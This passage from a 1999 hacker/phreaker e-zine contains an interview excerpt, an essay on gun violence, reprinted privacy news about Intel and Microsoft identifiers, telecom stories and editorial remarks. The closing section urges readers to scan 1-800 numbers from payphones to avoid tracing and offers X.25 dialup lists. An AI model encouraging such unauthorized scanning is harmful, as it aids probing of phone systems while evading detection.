Darcness, Buspar, +all the 9x nigz + + - Are there any other interesting h/p experiences or general comments +that you have and wish to share? + +Listen to the elders in the scene they generally know whatz best... + + - Thanks for agreeing to be interviewed Overfien. I'm sure that our +readers will enjoy reading this interview and gain some insight about you +and 9x. I've read most of 9x's releases, have a lot of respect for them +and would like to contribute in the future. As I conclude this interview, I +just want to say that 9x is definitely a quality group. Hopefully this +Damage, INC. interview will benefit our readers and 9x in some way. If you +want the newest 9x releases, they are available at: + +http://www2.dope.org/9x or +http://pr0n.insomnia.org/9x [mirror #1] +or send email to 9x@k0re.900mhz.org + + +OBJECTIVE OPINIONS - {OPINIONS} +America the Hateful. + +America the Beautiful. +America the Violent. +America the Hateful. + +At any given time there are millions of American citizens imprisoned. Some of +them are rotting away in solitary confinement for years. But make no mistake, +most of them will be released someday, in a worse state of mind than before +their incarceration. And once they are free again, they will have no future +to look forward to. Our very laws ensure that. Given that, their only means +is to turn to crime for survival. Most Americans fear criminals, so they +purchase weapons for protection. It isn't uncommon for them to have a gun or +several guns in their homes. In fact, millions of guns are sold each year in +this country. We have a constitutional right to bear arms and many citizens +exercise that right. Every now and then a crime is committed and it gains a +tremendous amount of publicity, which causes the media feeding frenzy to be +unleashed and the government legislation machine is put into high gear. It's +inevitable. Blame is quickly placed on guns, movies, television, video games, +negligent parents, the media and the Internet among other things. People search +for a reason and want the question "Why" to be answered simply and immediately. +However, the answer isn't always simple and usually there isn't a single answer +for why crimes such as school shootings and other mass killings occur. Yet +that's what they want. And in most cases, they want to claim to know what the +right answer is. News agencies, film companies, game manufacturers, musicians, +organizations like the NRA, etc. are all easy targets so they usually take the +brunt of the blame. Once people stop saying "How did this happen here?" and +"I never thought that something like this could happen here!" they become angry +with anyone and anything. Somehow that makes them feel better. Just as, +calling incidents such as shootings "senseless acts" seems to comfort them. +I cannot understand how those people can label them senseless and at the same +time try to find a reason. Nor can I fathom why they insist on half heartedly +trying to understand something which they obviously do not want to study, +analyze, think seriously and logically about. In other words, they should know +that the problem isn't going to be solved in a week. They should realize that +it's much more complex than that. The very fact that they continue to happen +means that they don't have all of the answers. That's a given. + +This is a country filled with anger, rage and hatred. Its culture is violent. +Its people are violent. Without access to guns, there would still be other +means of killing such as bombs. And how can one limit access to household +materials that can be used to make bombs? Even if that were done somehow, how +would they go about stopping someone from burning a building down? How can +the use of chemical and biological weapons possibly be prevented? What about +poison? What about homemade weapons? Will measures such as putting armed +police officers in every school stop that? Will metal detectors at all of the +building's entrances prevent any of the above threats? No, of course not. Some +high schools already have armed guards and they've already experienced +shootings. Plus, a metal detector won't stop someone with a gun from opening +fire. When the detector starts beeping, the person will begin shooting. The +shooting at the Capitol in Washington proved that. And if there are enough +"deterrents" in place, the person that is driven and hellbent on killing will +simply kill outside of the secured area. + +Will raising the age necessary to buy a handgun from 18 to 21 do anything? No, +in my opinion that won't make a difference at all. No matter what Bill Clinton +believes. The reason is that an underage kid can still buy a gun illegally, +steal legally owned guns from houses, steal from gun shops, or persuade an adult +to purchase the gun for them. Will any of the proposed gun legislation do +anything? I honestly don't think that it's going to stop everyone that's +determined to get guns or solve anything. All it'll achieve is giving the +public a false sense of security. It will only allow them to forget about the +issue after they utter the words "Problem solved." in ignorance. + +Should wearing dark clothing, like black t-shirts, jeans and trenchcoats be +made a crime? Should cameras be installed in schools? Should music, movies +and the Internet all be censored? Can information on how to build bombs be +restricted or eliminated? Definitely not. For example, if every web site with +information on how to build pipe bombs were suddenly eliminated, there are +still books that contain the very same information on how to construct them. +So, unless you want a good old fashioned book burning and revert to that type +of logic, then don't be so hasty to censor and ban things. Unless of course +you want everything to be restricted and want to give up your freedom of speech +and expression rights. + +As you can see, this is a complex issue. Acting without thinking won't do +anyone any good. It'll only serve to make things worse. The people out there +that yell "Censor!" and "Get rid of all of the..." are the ones that pose more +harm to our way of life than anyone else. If they had their way, we'd be +stripped of so many of our rights that we'd be living in a totalitarian state. +Perhaps that's their goal. Maybe they're just seizing the opportunity to voice +their twisted 'solutions' and opinions when events such as shootings occur. +In times like this people are willing to listen to almost any ideas no matter +how radical and extreme they are. And that's why those people use tragedies +to their advantage, to further their agenda and be heard by the masses. The +real tragedy is that quite often the masses are panicking and overreacting +to the point that they consider taking any drastic steps that are publicly put +forward, instead of thinking and debating about what's being said. There's +so much rhetoric that they don't know what to believe, so they latch onto the +things that they think explain it simplest and best. In the end though, it's +hate. The root cause of it all is hatred and the amount that exists in this +society. People are hated for dressing differently, acting differently and +living differently. Individualism isn't just frowned upon, but the people +that choose to express their uniqueness and embrace their individualism are +shunned. That's even though they are often polite, intelligent people. Until +the real issue of hatred is addressed in this country, nothing will be solved. + +In conclusion, I want to make it very clear that I'm not advocating the use +of guns. Nor do I encourage anyone to solve their problems (real or perceived) +through violent means. If you are treated like an outcast, transfer to another +school or take some other measures to resolve the situation. Don't think of +yourself as a victim and don't victimize innocent people. If you are consumed +by deep anger and rage, try to find a way other than violence to take out your +frustrations. It just isn't worth ruining your life, even if people constantly +taunt and torment you. Find another way. You can trust that if you do go out +and shoot people, you will definitely be viewed as a coward regardless of the +circumstances. If you kill yourself, surrender or are shot and killed by the +SWAT team the result will be the same. The media, the police and the public +will label you as a coward. It's a no win situation. In the end the result +is always the same, the shooter is labelled as being a coward for the acts +that they committed. And so, if you are a person that's considered it, or just +had a passing thought about it, take my advice. + +Written by Blackie Lawless ú Damage, INC. (C)opyright 1999. + + +REPORTS FROM THE FRONT - {REPORTS} +Intel's Pentium III chips, + +If you find an article that's relevant and would be of interest to others, +send it to damage_inc@dope.org so that we can include it in this publication. +Share the information. ;) + +------------------------------------------------------------------------------- +Garnered from www.bigbrotherinside.com + +Intel's new chips contain a unique number that has all the +makings of a Social Security Number for the Internet... and all +the privacy problems that went with it. Like governments and +credit bureaus and direct marketers using the number to build +huge databases of profiles on consumers... and selling that +personal information without your knowledge or consent. Do you +want personal information about your web browsing and online +behavior available to government and corporate interests? Of +course not. + +Intel is saying that using the number will be optional. Yeah, +sure, if you don't mind giving up your favorite software. Before +you buy an Intel-numbered computer, ask yourself what you're +going to do if Microsoft and other software companies demand the +number for copyright protection. + +Protect your privacy by joining the boycott against Intel +products. Send them the message that you're not buying a computer +with Big Brother Inside. + + +------------------------------------------------------------------------------- +Garnered from TIME.com + +Intel Bows to Serial Number Scare +TIME Digital: Is the Pentium III a threat to your privacy? + +Facing protest and even boycott, Intel relented yesterday on plans to ship new +Pentium III chips with a hardcoded ID code turned on. But the hardware signature +can still be activated through software and privacy advocates are calling +Intel's reversal a "temporary fix." A graphic on one protest site changes the +familiar "Intel Inside" graphic to read "big brother inside." + +[What else can Intel's "solution" be called other than that? Would saying +that it's "bullshit" be more appropriate?] + +Marc Rotenberg, executive director of the D.C.-based Electronic Privacy +Information Center asserted "There's not enough assurances here that the chip +will not be abused." His organization's call last week for a boycott was echoed +on Friday by Rep. Ed Markey, head Democrat on the House consumer protection +subcommittee, who wrote to Intel's CEO asking the company to withdraw the ID +plans: "Intel's new product improves technology for online commerce in a way +that compromises personal privacy." + +[Protest, fight, boycott, scratch and claw. Do whatever it takes to stop +flagrant attempts by Big Brother to remove our privacy.] + + +------------------------------------------------------------------------------- +Pirates Sneer at Intel Chip +by Polly Sprenger + +9:25 a.m. 22.Jan.99.PST Intel Thursday said that its next-generation processors +include a feature that will identify online users as they traverse the Web. + +Intel says its Processor Serial Number Control utility will protect e-commerce +transactions. When the feature is activated, the computer's identifier can be +matched against the sensitive information the user inputs, validating the +exchange. Intel (INTC) also claims that the new utility will make pirating +software more difficult. + +Pirates are unimpressed. Privacy advocates are worried. + +[Of course they are. They have just cause to be concerned. The incorporation +of that so-called "feature" on Intel's new chip is a blatant invasion of privacy +on Intel's part that shouldn't go unnoticed.] + +Their fear is that the feature can be used to identify users who visit sites +without making a purchase, even when they haven't voluntarily given out their +information. + +Intel said users can turn the feature off easily, but the chip is built to +immediately broadcast an identifying serial number as soon as it is connected +to the Internet. + +Patrick Gelsinger, vice president and general manager of Intel's desktop +products group, said the feature has far-reaching implications for protecting +online copyrighted material. The serial number would create an electronic +stamp of the material's point of origin, Gelsinger said. + +For software manufacturers, the new chip feature shows promise as a weapon +against piracy. If each software license can only be used on the computer with +the correct serial number, the market for pirated software goods essentially +evaporates. + +Software vendors have been asking Intel for years to build some kind of +identification into its hardware, the company said. + +Peter Beruk of the Software Publisher's Association said the chip could help +his organization with its anti-piracy efforts. "We're going to support any +technology that helps protect the licensing of software," Beruk said. + +But, he added, the privacy issue was troubling, and the industry shouldn't +endorse an anti-piracy effort that threatens the privacy of honest Web users. + +[But who cares about privacy right? Just as long as it helps combat pirating.] + +The pirates themselves only shrugged. + +"This won't stop piracy, because someone very soon will compile a patch or +some other way to outsmart it, and then the piracy will be right back on track +with new blood," said one member of the Warez community. "If I've thought +of this, the market strategists at Pentium have thought of this as well." + +Other members of the online underground elite were even less interested in the +announcement. + +"It's an invasion of privacy that the hackers and Warez [d00ds] are not +concerning themselves with," said another Warez member. + +[They aren't? Many are very interested and concerned about matters of privacy.] + +Jim Yankelevich, director of technical operations for LaptopSales.com, an online +retailer, said the new chip is nothing more than a gimmick to sell computers. +Yankelvich said he used to be a software pirate "in a long forgotten time" and +doesn't see how it will be effective in combating piracy. + +"As we have already found out, tracking computer users is not as easy as it +sounds," Yankelvich said. "As far as the technological ramifications +-- the extra security will boost e-commerce, maybe for no other reason than +that it makes consumers feel a little safer. Piracy will probably not be +affected by this, because companies will be slow to catch on, and by the time +they do, someone somewhere will figure a way to defeat it." + +Copyright 1994-99 Wired Digital Inc. All rights reserved. + + +------------------------------------------------------------------------------- +Garnered from CNN.com + +Privacy groups to announce boycott of Intel products + +January 25, 1999 +Web posted at: 3:02 a.m. EST (0802 GMT) + +WASHINGTON (CNN) -- Privacy groups will announce a boycott Monday of all +products from Intel Corp. until the company agrees to disable new technology +in its upcoming line of Pentium III computer chips that helps identify +consumers across the Internet. + +Privacy rights groups say personal identification numbers embedded in the new +chips could lead to an erosion of privacy, while Intel claims the ID numbers +will allow for more secure online transactions. + +[It would lead to an overwhelming amount of new products with anti-privacy +"features" and devices built-in. Personal privacy is already eroding every +single day.] + +Intel said its technology also can be used to avoid piracy by preventing a +single copy of a software program from being installed on several machines. + +"Not even the tamest privacy advocate has failed to condemn it," said Jason +Catlett, president of Junkbusters Inc. of Green Brook, New Jersey, which lobbies +on a range of high-tech issues. + +It organized the boycott with the Washington-based Electronic Privacy +Information Center. + +Rep. Edward J. Markey (D-Massachusetts), urged Intel on Friday to reconsider its +plans, "to better balance both commercial and privacy objectives." Markey is the +senior Democrat on the House consumer protection subcommittee and active in +Internet privacy issues. + +Intel spokesman Chuck Mulloy said late Sunday that the company hadn't been +notified of the boycott. He said Intel has been in talks about its technology +for several weeks with Junkbusters, and previously had meetings planned this +week with both Catlett's group and the privacy information center. + +Mulloy said it would be "difficult to tell" the potential impact of any boycott +of Intel. + +[Difficult to tell? Hmm... What's so difficult about it?] + +Developing user profiles + +"That serial number can be linked in databases like your Social Security number +is used by credit bureaus and marketing companies," Catlett said. "It allows a +massive profile to be efficiently collected and sold." + +Intel, the world's largest chipmaker with $26.2 billion in sales last year, +announced last week that the new Pentium III chip, to be sold within months, +will by default transmit its unique serial number internally and across the +Internet. + +Consumers can turn the feature off, but it turns itself back on each time the +computer is restarted. + +[Surprise... surprise.] + +In addition to making about 85 percent of the world's computer processors, Intel +also manufactures memory chips plus hardware for computer networks, +communications and graphics. + +Catlett called the Pentium III chips that already have been produced "toxic +hardware." + +[Obviously, I agree with that statement wholeheartedly.] + +"They should destroy them," said Catlett, who spoke last year at a summit on +Internet privacy in Washington organized by the Commerce Department. + +[Yes, they definitely should. And all future attempts of using these types +of Big Brother identifiers should be immediately stopped and banned.] + +As part of their boycott, organizers will unveil a parody of the company's +ubiquitous "Intel Inside" logo. Theirs features the same familiar swirl but +with the words, "Big Brother Inside." + +[It looks good too.] + +Tough law in Europe + +Intel's announcement comes at an awkward time for the Clinton administration. + +David Aaron, undersecretary of state for commerce, was to begin negotiations +Monday in Europe -- the same day as the boycott announcement -- over a tough +new privacy law enacted by the 15-nation European Union last October. + +"It couldn't have come at a worse time," Catlett said. "This new feature from +Intel is really throwing kerosene on the fire of the trans-Atlantic privacy +negotiations." + +Aaron must assure Europeans that the United States has adequate privacy +protections or risk a prohibition against businesses in those 15 countries from +disclosing personal information about citizens there to U.S. companies. Aaron +warned Friday that such a ban would carry "a very adverse impact on the +operation of the economies on both sides of the Atlantic and could be a very +serious blow." + +The Electronic Privacy Information Center said it will meet later in the week +with the Federal Trade Commission to discuss Intel's plans. The FTC has +criticized the online industry for its failure to protect privacy rights, and +the agency successfully pressed last year for a new law that prohibits Web sites +from collecting personal information from children without parental permission. + +Coincidentally, the FTC also is suing Intel for alleged antitrust violations. +The trial is set to begin March 9. + + The Associated Press contributed to this report. + + +------------------------------------------------------------------------------- +http://www.wired.com/news/news/technology/story/17820.html + +In a world of ad banner targeting, cookies, and consumer "profiling," +some have come to believe that total online privacy is a myth. +Zero-Knowledge Systems is out to prove them wrong. + +The Canadian software start-up gave a demo of its Freedom 1.0, its +so-called total privacy technology, on Tuesday at the Demo '99 + conference in Indian Wells, California. + +"When you browse the Internet, your personal information is routinely +collected and often distributed without your knowledge or consent," said +Austin Hill, president of Montreal-based Zero-Knowledge Systems. + +"With Freedom, you can safely browse Internet sites, participate in +public discussions, chat, and send email without revealing any of your +personal information." + +Presently, Web users leave footprints every time they request a Web page +or send an email. But by building in multiple layers of encryption and +re-routing, Zero Knowledge Systems promises totally anonymous Web +browsing and Net use. + +Freedom offers Net users a variety of pseudonyms -- online identities +created for different, Internet-related tasks, such as shopping or +online discussions. Users can assign each pseudonym a different email +address, geographic location, and encryption key. + +Each alias allows a user to visit differet Net sites under different +identities. The privacy effect is that users can avoid profiling by +Internet marketers. + +Public key cryptography scrambles the contents of any Internet-bound +data from the user's PC, such as email, chat transmissions, and Web +browsing. The crypto also hides the source and destination of Internet +traffic routed through the service, which the company says will also +block cookies and filter spam. + +Law enforcement agencies will likely find the prospect of totally +untrackable Net use troublesome. The system may attract extortionists as +much as it will appeal to those with a legitimate need to hide, +including whistle-blowers, human-rights workers, and harassment victims. + +In testimony before the Senate Appropriations subcommittee on 4 +February, FBI Director Louis Freeh said that strong crypto will be a +boon to terrorists. + +"The continued widespread availability and increasing use of strong, +non-recoverable encryption products will ... devastate our capabilities +for fighting crime, preventing acts of terrorism, and protecting the +national security." + +Hill built the Zero Knowledge Systems business model atop an +increasingly uncertain public policy climate. Because the product uses +very strong crypto, it may be subject to recently tightened global +controls on crypto distribution. + +The Wassenaar Arrangement is expected to increase crypto restrictions in +33 countries, including Canada, the United States, and Great Britain. +Any developer of super-strength cryptography, such as Zero-Knowledge, +would need to obtain export licenses just as US crypto vendors do now. + +As a hedge, the company regularly exports the Freedom software code to +an undisclosed offshore location. Should Canada's export policy on +strong encryption change abruptly, Hill said he would ask his +programmers to leave the country and continue development in a country +free from the restrictions. + +Copyright 1994-99 Wired Digital Inc. All rights reserved. + + +------------------------------------------------------------------------------- +Microsoft admits to secret code in Windows +------------------------------------------ +March 8, 1999 + + WASHINGTON - Microsoft Corp., whose software runs most of the world's +personal computers, admitted Sunday that its latest version of Windows generates +a unique serial number secretly planted within electronic documents that could +be used to trace the identities of the authors. + In a disclosure with enormous privacy implications, Microsoft also said it +is investigating whether it is collecting the serial numbers from customers even +if they explicitly indicate they didn't want them disclosed. + "If it is just a bug," said Robert Bennett, Microsoft's group product +manager for Windows. + "If it is indeed happening.... we'll absolutely have to fix that." + Programmer Richard Smith of Brookline, Mass., noticed last week that +documents Smith created, using Microsoft's popular Word and Excel programs in +tandem with the Windows 98 operating system, included within their hidden +software code a 32-digit number unique to his computer. + The number also appears in a log of information transmitted to Microsoft +when customers register their copies of Windows 98, even if they say they don't +want details about their computers sent to the company. + +Widely used programs + + Microsoft's Word and Excel programs are among the most widely used, and its +Windows operating system run roughly 85 per cent of the world's personal +computers. + "Nobody to my knowledge has had a database that would allow a piece of +written material to be traced back to who wrote it," said Smith, president of +Phar Lap Software Inc. + "I don't expect Microsoft to do that kind of tracing, but it's sort of +unprecedented." + Bennett said Microsoft will create a software tool to let customers remove +the number, which he said is meant to help diagnose problems for customers, who +call with technical questions. + Smith suggested, however, that Microsoft also could use the technology to +identify stolen copies of Windows by comparing the hardware serial number with a +20-digit Windows product number that also is transmitted when a customer +registers. The industry claims annual losses from software piracy at more than +$11.4 billion US. + "If they suddenly see the same product ID number with different hardware ID +numbers, it gives them evidence for court that there's software piracy," Smith +said. + +Looking into the issue + + Bennett said Microsoft was looking into whether the number, called a +Globally Unique Identifier, ever was obtained from customers who didn't want +details about their computer hardware disclosed, such as their network +addresses. + The identifier is partly based on a 12-digit number unique to each network +adapter, a hardware device allows high-speed Internet connections. + Bennett promised that Microsoft also will wipe any of those numbers from +its internal databases that the company can determine may have been +inadvertently collected. + Privacy activists weren't mollified. + "This is going to be a cleanup job larger than the Exxon Valdez oil spill," +said Jason Catlett, president of Junkbusters Corp. of Green Brook, N.J. which +lobbies on privacy issues. "There are billions of tattooed documents out +there." + + Associate Press + + +------------------------------------------------------------------------------- +PHONE OPTIONS RING IN + +Sprint Hopes To Win Telus Customers + +By Wanda Ehlers +Calgary Sun + +Calgary's phone market got a whole lot busier yesterday as Sprint +Canada Inc. announced it will take on Telus in the local phone +business. Calgary will be the first Canadian city to be offered +alternative local telephone services for both business and residential +customers, Sprint's parent firm said yesterday. + +Starting today, Call-Net Enterprises will begin an advertising and +telemarketing blitz in an attempt to court Calgarians into switching +service providers. Sprint's basic local service inside Calgary will be +$22.61 per month and rise to as high as $30.61 in outlying regions. + +Those who buy local service and either internet or long distance from +Sprint will get a $2 discount off the basic rate. The newly-merged +BCT.Telus charges virtually identical rates in Alberta for basic +service. But both providers say the real advantage will be in getting +more bang for your buck with services like calling features, long +distance and internet access. + +"For the first time in the 120-year history of telephone service in +this country, there is now real local competition for business and +residential customers," said Call-Net chief executive Juri Koor. + +AT&T Canada also weighed (sic) into the fray, quietly announcing plans +to provide local service for business customers in up to seven major +urban markets this year. + +Calling Calgary a strong market that's open and accepting to +competition, Sprint Canada president Philip Bates said Cowtown was an +obvious market to launch into the $8.5 billion local phone wars. The +switch will be virtually seamless, Bates said, with no special +equipment or charges involved in moving to the new provider. Customers +will also be able to keep their existing phone numbers. + +Along with Calgarians, residents of Airdrie, Cochrane, Okotoks, and +High River will have the option to choose Sprint Canada as their new +local provider. Within three years, Sprint expects to be in 25 major +Canadian markets, including Edmonton. The company will use its existing +long-distance customer base of 1.3 million as a launching pad for local +service and will be in a position to reach out to six or seven million +households by the time the rollout is complete. + +Telus welcomed the competition, adding it's been ready to take on all +comers since deregulation in 1994. "Last year, we actually increased +our (long distance) market share," said spokesman Jeff Welke. + + +------------------------------------------------------------------------------- +By George Beran, Saint Paul Pioneer Press, Minn. +Knight Ridder/Tribune Business News + +Dec. 12--US West is offering three new services that allow telephone +customers to block incoming and outgoing calls at a separate monthly +cost of $3.95. + +The services called US West Do Not Disturb, Dial Lock and Call Curfew +give residential and business customers control of phone use by family +members and employees. + +"Customers can block incoming calls at dinner time, restrict their +teen-ager's phone usage or eliminate unwanted long-distance charges on +their monthly bill," said Gloria Davy, a US West executive. + +Advanced network technology is giving US West and other telephone firms +the ability to create services like these and generate more revenue, said +Fred Voit, a telecommunications analyst with the Yankee Group. + +But the services may have limited appeal, Voit believes, since they +are offered separately instead of as a package. "If you want them, +they're great services, but I doubt they are mass market services. If +they were bundled in a package, it would be a terrific differentiator +in the market." + +Older services such as call forwarding, call waiting and caller ID are +growing slowly by being included in service packages, but have +relatively low market penetration rates, according to Voit's national +statistics. + +Call waiting is the most popular option, with a 41.6 percent penetration +rate; caller ID is next at 29.6 percent; call forwarding stands at 13.5 +percent and remote call forwarding at 2 percent. + +With Do Not Disturb service, customers can block incoming calls during +time periods when no interruptions are desired. Customers can +designate numbers they want to receive, so they don't miss important +calls. + +Dial Lock enables customers to block all outgoing calls with exception +of emergency 911 calls. The blocking includes long distance, 900, 960 +and 976 numbers, operator-assisted and directory assistance calls plus +toll-free 800, 877 or 888 numbers. A special PIN code allows customers +to override the blocking. + +Call Curfew blocks incoming and outgoing calls, except to 911, during +time periods the customers select. Designated calls pass through but +others get a recorded message that calls are not being received. No +added equipment is required to receive the services. + + +------------------------------------------------------------------------------- +Ameritech's New Call-Blocking Service Is Too Costly, Trade Group Says + +By Doug Sword, The Indianapolis Star and News +Knight Ridder/Tribune Business News + +Jan. 5--If you've ever wondered what it would be worth to rid yourself +of pesky, dinner-interrupting telemarketers, Ameritech has the answer: +$3.95 a month. + +Beginning today, Ameritech will roll out its new Privacy Manager +service in three Indiana cities -- Indianapolis, Gary and +Hammond. While the service costs $3.95 a month, it requires Caller ID +with Name to work, which costs an extra $9.50 a month. + +That's too much, says a telemarketing group, arguing that consumers +can get pretty much the same result by being firm with telemarketers +and asking to be removed from calling lists. + +Unlike any other privacy-protection service, such as Caller ID, +Privacy Manager will identify 100 percent of callers, says Curt Witte, +Ameritech's vice president for customer applications. That offers +customers a degree of control over their phone line they've never had +before, he said. + +This is how it works: + +Privacy Manager kicks in when a call shows up as "blocked," "private," +"out of area," "unavailable" or "unknown" on a Caller ID +display. Ameritech's research shows that calls from telemarketers +generate a large majority of these kinds of messages, Witte said. + +Before connecting the call, Privacy Manager kicks in and asks the +caller to give his or her name. In initial testing, seven out of 10 of +these callers simply hung up, Witte said. + +"The beauty is that your phone doesn't even ring," he said. + +If the caller does identify himself or herself, the consumer's phone +rings and a recording of the name is played. + +If the consumer presses "1" on the touch-tone phone the call is put +through and pressing "2" rejects the call. Pressing "3" activates a +message that informs the caller that telemarketing calls are not +accepted at this residence and asks that the consumer's name be added +to the telemarketer's "do not call" list. + +That's a legally binding request, Ameritech points out. Federal law +prohibits telemarketers from calling someone who's made such a request +for 10 years. + +Consumers can make the same legally binding requests themselves +without paying $13.45 a month for Caller ID and Privacy Manager, says +Chet Dalzell, spokesman for the Direct Marketing Association, a +telemarketing industry trade group. + +"Generally, any consumer who does not want to receive telemarketing calls +at home has choices," he said. + +Telling each telemarketer who calls to remove your name from a calling +list is one way to do it. Anyone wishing to be removed from the +calling lists of all Direct Marketing Association members need only +send a letter with their name, address and phone number to Telephone +Preference Service, Direct Marketing Association, P.O. Box 9014, +Farmingdale, NY 11735-9014. + +Some customers love to buy the latest telephone technology and Privacy +Manager "is a feature that some people will find handy," said Jerry +Polk, utility policy analyst for Citizens Action Coalition. But +Privacy Manager raises the question of "Where does it end?" he said. + +Local phone companies came up with Caller ID, then they sold a product +to telemarketers that blocked Caller ID, Polk said. Now Ameritech has +come up with a new feature that thwarts the Caller ID block. + +Ameritech plans to follow Privacy Manager's introduction with an +advertising campaign beginning Jan. 18. The ads will feature peaceful +home scenes, asking the viewer if it's worth interrupting a family's +time together with calls from telemarketers. One of the ads targets +Ameritech's rivals, long-distance companies, as a prime source of +intrusive telemarketing calls. + +The technology that allows an answering system to interact with both a +caller and a customer is new and exclusive to Ameritech. The +Chicago-based company is negotiating with other telephone companies to +sellthem a license to use the technology. + +Ameritech rolled the product out first in Chicago and Detroit last +September, followed by Cleveland and Columbus, Ohio. The trio of +Indiana cities where Privacy Manager becomes available today +represents the third wave of the product's rollout. Ameritech will +offer the product in stages through next year in the remainder of its +five-state Midwestern territory. + +Privacy Manager, like Caller ID and call-waiting, falls into a +category of products that aren't regulated by Indiana. Ameritech +critics claim that the cost of adding such products to a phone line is +only a small fraction of what the company charges for them. Critics +also point to the huge profits these unregulated products generate as +a major reason Ameritech has reported record profits in each of the +last five years. + + +------------------------------------------------------------------------------- +====================================================== +* Original in area CAN.INFOHIGHWAY +* Original from IS Staffing Solutions 17:5141/2 +* Original to All , on 01-05-1999, 00:39:18AM +* Original about "Bell screws new Sympatico HSE (DSL) customers in Toronto" +====================================================== + + +From: isstaff@tande.com (IS Staffing Solutions) +Subject: Bell screws new Sympatico HSE (DSL) customers in Toronto + +Don't you hate companies who offer what they can't provide ! + +I was one of the thousands of people who recently ordered +Sympatico's High Speed Edition DSL service which has only been +available for a couple of weeks. About 10 days ago, I applied and was told +that YES, service was available to lucky ol' me ! +A loop check was done on my line and my order was confirmed, with an +activation date of Jan.4... So today I get home, all excited to kick ass +in Quake 2 and do some downloading...but what ? No ADSl package waiting as +promised ? I figured:ah well, maybe the package was a day late or +something. +Then at about 9pm, the phone rings: Its some kid, calling from Sympatico. +He went on to tell me that NO, after all, you will not get your DSL +service now...the Bell Central Office near me is (get this) "exhausted", +and "we will call you whenever the service does become available." +(I live in downtown toronto ) +He went on to tell me that my package with +the modem and shit was still on its way, and that I should install the +modem, network card etc. and then just wait for whenever they call to say +service was available (which they would not even estimate !). +He mentioned that "we were given a big list of people to call", and tell +them this joyous news. + +Gee, thanks a lot, Bell. Maybe I'll get the damn cable modem after all. +------------------------------------------------------------------------------- + + +THOUGHTS, POEMS AND CREATIVE WRITING - {WRITING} +Oppression. + +It's such a simple word; oppression. And yet it carries so much meaning. The +very word itself conveys a strong message, can conjure images and stir up +emotions amongst many people. Indeed, it is an extremely powerful word. Thus, +it shouldn't be overused or abused, lest it lose its intended meaning. It must +be used in the right situations and spoken with vigor, otherwise it loses its +effectiveness. It is a word that is designed to be said with feeling and +emotion. Oppression simply isn't a topic that should be taken lightly or +discussed in a manner that's not serious. It should be important to all. +Oppression in any form is destructive and a threat to us all. It shouldn't +just be ignored because it's affecting someone else rather than you. It's a +matter that we should all think about and never ignore. That's exactly what +I've been doing lately, prompted to a great degree by recent events that've +unfolded. So, I decided to use this as a forum to share my thoughts on the +topic as a way of expressing what I feel oppression means. + +So what forms of oppression still exist in society? There's slavery, torture, +various human rights violations, censorship, eavesdropping, spying, removal +of privacy by other means, search and seizures, restrictions on electronic +exploration, restrictions on freedom of speech, freedom of expression, freedom +of information, freedom of assembly, the right to protest and demonstrate, +restrictions on personal defense and all kinds of civil liberties. And that's +just for starters. Many civilians are controlled and used like pawns. The +rights that are bestowed upon them are dictated and governed by a small group +of people that makes all the decisions for them. In essence, they're kept +down. They're oppressed and many of them don't even realize it. + +Oppression has to be said with conviction and written with purpose. It has +to be spoken and used with meaning. To abuse it is to diminish it and then +it loses its meaning. On the other hand, not to speak of it is to ignore +the simple fact that oppression still exists in many forms. We cannot just +blindly accept that or try to forget it. If we do, you can be assured that +someday we will all be oppressed to such a degree that we won't know what it +means not to live under oppressors. And by that time, there will not be +anyone left to fight back and defend against them. + +Written by Blackie Lawless ú Damage, INC. (C)opyright 1999. + + +CLOSING COMMENTS - {CLOSING} +BLACKENED's Explanatory Closing Comments. + +THC Phreak was going to write the Introduction and Closing Comments for this +issue, but that all changed due to the events that I've already described. +Therefor, I'll keep this very brief and just say that we hope to continue +releasing issues of the Damage, INC. Newsletter on a regular basis. The +unexpected events that have unfolded have delayed us and presented us with +some new problems, but don't expect it to stop us from continuing to release +this zine. + +"Our government lies to us all the time." - Gov. Jesse Ventura + +On a personal note, the last couple of months have been a blur. In the last +6-8 weeks I've been caught up in a whirlwind of problems in my personal life, as +well as dealing with the witchhunt surrounding THC Phreak and that whole +unfortunate situation. To be blunt, it has been a hellish time. I've also been +plagued by some health problems lately. So, those are some of the reasons why +the release of this issue was delayed for so long. Needless to say, we are +hoping that things improve and that we'll be able to continue this zine and work +on other projects. However, there might be some changes within the group. At +this point, I am contemplating resigning as Editor of the DIN. If I make the +decision to do that, it'll be on a temporary basis and isn't based on anything +relating to the actual zine itself, but rather on outside factors. And if I do +decide to take a hiatus for a few months, either Shatazar or Blackie Lawless +will take over. I have complete confidence in both of them and feel that +working together or independently they can do an adequate, competent job at +continuing on the tradition that is the Damage, INC. Newsletter. If anyone has +any relevant, important questions regarding the status of this zine or my +Editorship, direct them to blackened@disinfo.net and I'll do my best to answer +them. Lastly, I just want to reassure everyone that there are no current plans +to cease publishing this zine. It'll continue for as long as there's support +and readers out there that are interested in it. Although we cannot stop +Big Brother from manipulating puppets, influencing and brainwashing zombies, +or prevent them from spreading propaganda, disinformation, outright lies, +corrupting and destroying everything that's worthwhile in this world... we +*can* and will do something. We'll continue to speak out, spread the truth, +expose the coverups and lies and do anything in our power to fight them. + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +The Damage, INC. Phreaky Field Phreaking List (Spring Edition) was released +in March. Visit the web site to get a copy and contact us if you want to +contribute numbers. We plan on making changes and additions to it and an +expanded Summer Edition is in the works. It should be released in the next +couple of months. So, start scanning and send in those numbers. And if you're +too paranoid to scan 1-800s from home, use a damn payphone. It's toll free. +Any numbers (including local numbers you scan and find in your NPA) that you +send in are appreciated. + +We've started a project which involves putting together a collection of payphone +pictures, to be displayed on our web site. In order for it to be a success, +it will require the contributions of many people that have access to phones in +various countries/cities that we don't. So, if you have a camera and want to +become involved in this project, contact us at damage_inc@dope.org or just send +us whatever telco related pics (payphones, COs, switching stations, Bell cans, +etc.) that you have. + +We've released some lists of dialups for X.25 packet switching networks +(AlaskaNet, Datapac, SprintNet, BT Tymnet, etc.) So, if you're interested +in obtaining them, download MCI.ZIP and SPRINT.ZIP from the web site. + +Milestone: We've had over 8750 hits to the web site. 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They +must only be distributed alone in their present, original form. You are +permitted to read and distribute the Damage, INC. Newsletter freely to quality +h/p boards only. + + Copyright 1999 by Damage, INC. + All Rights Reserved. +_______________________________________________________________________________ + + +INTRODUCTION: + +Early in May, I wrote a poem entitled "Chaos and Madness" which has been +included in this issue. It was written while I was suffering from an extreme +case of fever. Basically, it describes my state of mind during that episode +of illness. Since it was such an intense, memorable experience I decided that +it would be a unique concept to fashion this issue after that premise. In a 